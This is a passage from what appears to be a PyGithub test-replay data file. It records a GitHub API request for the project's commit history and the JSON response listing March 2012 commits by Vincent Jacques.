ub/PyGithub/commits/378558f6cac6183b4a7100c0ce5eaad1cfff6717","sha":"378558f6cac6183b4a7100c0ce5eaad1cfff6717"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:18:28-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/3e8169c0a98ce1e2c6a32ae1256ae0f735065df5","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:18:28-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e9bced97139773dcfbbefc6a4091e4458ee1fe23","sha":"e9bced97139773dcfbbefc6a4091e4458ee1fe23"}}}] https GET api.github.com None /repos/PyGithub/PyGithub/commits?last_sha=3e8169c0a98ce1e2c6a32ae1256ae0f735065df5&top=master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('content-length', '45317'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"b341665cd46d642b2e6045772eb3278b"'), ('date', 'Sun, 27 May 2012 06:46:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/378558f6cac6183b4a7100c0ce5eaad1cfff6717","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"378558f6cac6183b4a7100c0ce5eaad1cfff6717","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","sha":"58b4396aa0e7cb72911b75cb035798143a06e0ee"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:14:56-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/378558f6cac6183b4a7100c0ce5eaad1cfff6717","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:14:56-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/980bf3f66b3cbeec03a37db5263cbbc883b54681","sha":"980bf3f66b3cbeec03a37db5263cbbc883b54681"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"58b4396aa0e7cb72911b75cb035798143a06e0ee","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","sha":"a3be28756101370fbc689eec3a7825c4c385a6c9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T23:30:43-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","message":"Remove totos, add them as github.com issues","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T23:30:43-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/202a101db80163b980fff6ae1ccebd8e985778e1","sha":"202a101db80163b980fff6ae1ccebd8e985778e1"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"a3be28756101370fbc689eec3a7825c4c385a6c9","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","sha":"3d6bd49ce229243fea4bb46a937622d0ec7d4d1c"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T15:09:06-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","message":"Publish version 0.4","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T15:09:06-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5c6e0289868fe3bc6bff49b0c33bd27c4dd07e2d","sha":"5c6e0289868fe3bc6bff49b0c33bd27c4dd07e2d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d","sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","sha":"58cb0dbdef9765e0e913c726f923a47315aaf80e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:53:18-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","message":"Merge branch 'develop'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:53:18-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"58cb0dbdef9765e0e913c726f923a47315aaf80e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","sha":"7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:37:15-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/58cb0dbdef9765e0e913c726f923a47315aaf80e","message":"Merge branch 'topic/FixBaseUrl' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:37:15-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/97f308e67383368a2d15788cac28e126c8528bb2","sha":"97f308e67383368a2d15788cac28e126c8528bb2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:36:59-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/7b7ac20c6fa27f72a24483c73ab1bf4deffc89f0","message":"Add a unit test with a changing _baseUrl","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:36:59-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2cabc3bd4e00227b053ddf867dec199b15503c41","sha":"2cabc3bd4e00227b053ddf867dec199b15503c41"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/97f308e67383368a2d15788cac28e126c8528bb2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"97f308e67383368a2d15788cac28e126c8528bb2","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","sha":"fc33a6de4f0e08d7ff2de05935517ec3932d212e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:31:09-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/97f308e67383368a2d15788cac28e126c8528bb2","message":"Restore integration test after bugfix","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:31:09-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2905b7707c427bff575def862c26cb05507bfa9c","sha":"2905b7707c427bff575def862c26cb05507bfa9c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"fc33a6de4f0e08d7ff2de05935517ec3932d212e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:28:06-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/fc33a6de4f0e08d7ff2de05935517ec3932d212e","message":"Fix bug: _baseUrl is now a method\n\nThis handles modification of attributes creating the base url","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:28:06-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/7f985c8693602ccc884ecfd9fece11a2a7d3fdef","sha":"7f985c8693602ccc884ecfd9fece11a2a7d3fdef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"cc6d0fc044eadf2e6fde5da699f61654c1e691f3","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","sha":"2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:12:06-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/cc6d0fc044eadf2e6fde5da699f61654c1e691f3","message":"Merge branch 'topic/MergeMergeRequest' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:12:06-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4138e1bdfbc5130fe957589d9b68bb053c8305c5","sha":"4138e1bdfbc5130fe957589d9b68bb053c8305c5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","sha":"366ca58ca004b9129f9d435db8204ce0f5bc57c3"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:11:40-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2dd71f3777b87f2ba61cb20d2c67f10401e3eb2c","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:11:40-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4138e1bdfbc5130fe957589d9b68bb053c8305c5","sha":"4138e1bdfbc5130fe957589d9b68bb053c8305c5"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"366ca58ca004b9129f9d435db8204ce0f5bc57c3","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","sha":"0d3b3ffd1e5c143af8725fdee808101f626f683d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:08:22-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/366ca58ca004b9129f9d435db8204ce0f5bc57c3","message":"PullRequest.is_merged and PullRequest.merge","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T14:08:22-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/cff64747ea7fc0957b502839f3a54cb8dd9b7002","sha":"cff64747ea7fc0957b502839f3a54cb8dd9b7002"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"0d3b3ffd1e5c143af8725fdee808101f626f683d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:51:50-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0d3b3ffd1e5c143af8725fdee808101f626f683d","message":"Improve coverage analysis","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:51:50-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/091f983c6aa0b097677a5b1d1e4a2b6417bb953d","sha":"091f983c6aa0b097677a5b1d1e4a2b6417bb953d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"157f9c13275738b6b39b8d7a874f5f0aee47cb18","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","sha":"924aef7d9f3a21145492ea165c9268ab0030cbab"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","sha":"b12b6ffdfa6f1cca89459438eff6d3420ed199e9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:47-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/157f9c13275738b6b39b8d7a874f5f0aee47cb18","message":"Merge branch 'topic/AddHooksAndEvents' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:47-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/014f6c1b5278352ba1bc974914e3a76c17590479","sha":"014f6c1b5278352ba1bc974914e3a76c17590479"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"b12b6ffdfa6f1cca89459438eff6d3420ed199e9","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","sha":"236fcaead6addd284722e4b5fde2e24f6f4ae63b"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:27-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/b12b6ffdfa6f1cca89459438eff6d3420ed199e9","message":"AuthenticatedUser.get_organization_events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:48:27-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/014f6c1b5278352ba1bc974914e3a76c17590479","sha":"014f6c1b5278352ba1bc974914e3a76c17590479"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"236fcaead6addd284722e4b5fde2e24f6f4ae63b","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/43369be99710f4386d31daa87db9b5cc48f0544d","sha":"43369be99710f4386d31daa87db9b5cc48f0544d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:28:26-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/236fcaead6addd284722e4b5fde2e24f6f4ae63b","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:28:26-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/484f40761d22be9a4a815e010c52e43c12e49f02","sha":"484f40761d22be9a4a815e010c52e43c12e49f02"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/43369be99710f4386d31daa87db9b5cc48f0544d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"43369be99710f4386d31daa87db9b5cc48f0544d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","sha":"07b6b437d741df9c94cf34e36045fc78868b63ba"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:22:10-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/43369be99710f4386d31daa87db9b5cc48f0544d","message":"Repository.get_issues_event + coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T13:22:10-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/656b268fdf8d0ce1e48037f8a546eecdf0dc5ef9","sha":"656b268fdf8d0ce1e48037f8a546eecdf0dc5ef9"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"07b6b437d741df9c94cf34e36045fc78868b63ba","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d51a955d922e92dacf37106a3c52d185fb18423","sha":"6d51a955d922e92dacf37106a3c52d185fb18423"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T12:43:20-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/07b6b437d741df9c94cf34e36045fc78868b63ba","message":"Remove two 'MethodFromCallable'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T12:43:20-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fb26540cb902379e02897890f8e79df032fa4657","sha":"fb26540cb902379e02897890f8e79df032fa4657"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d51a955d922e92dacf37106a3c52d185fb18423","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"6d51a955d922e92dacf37106a3c52d185fb18423","p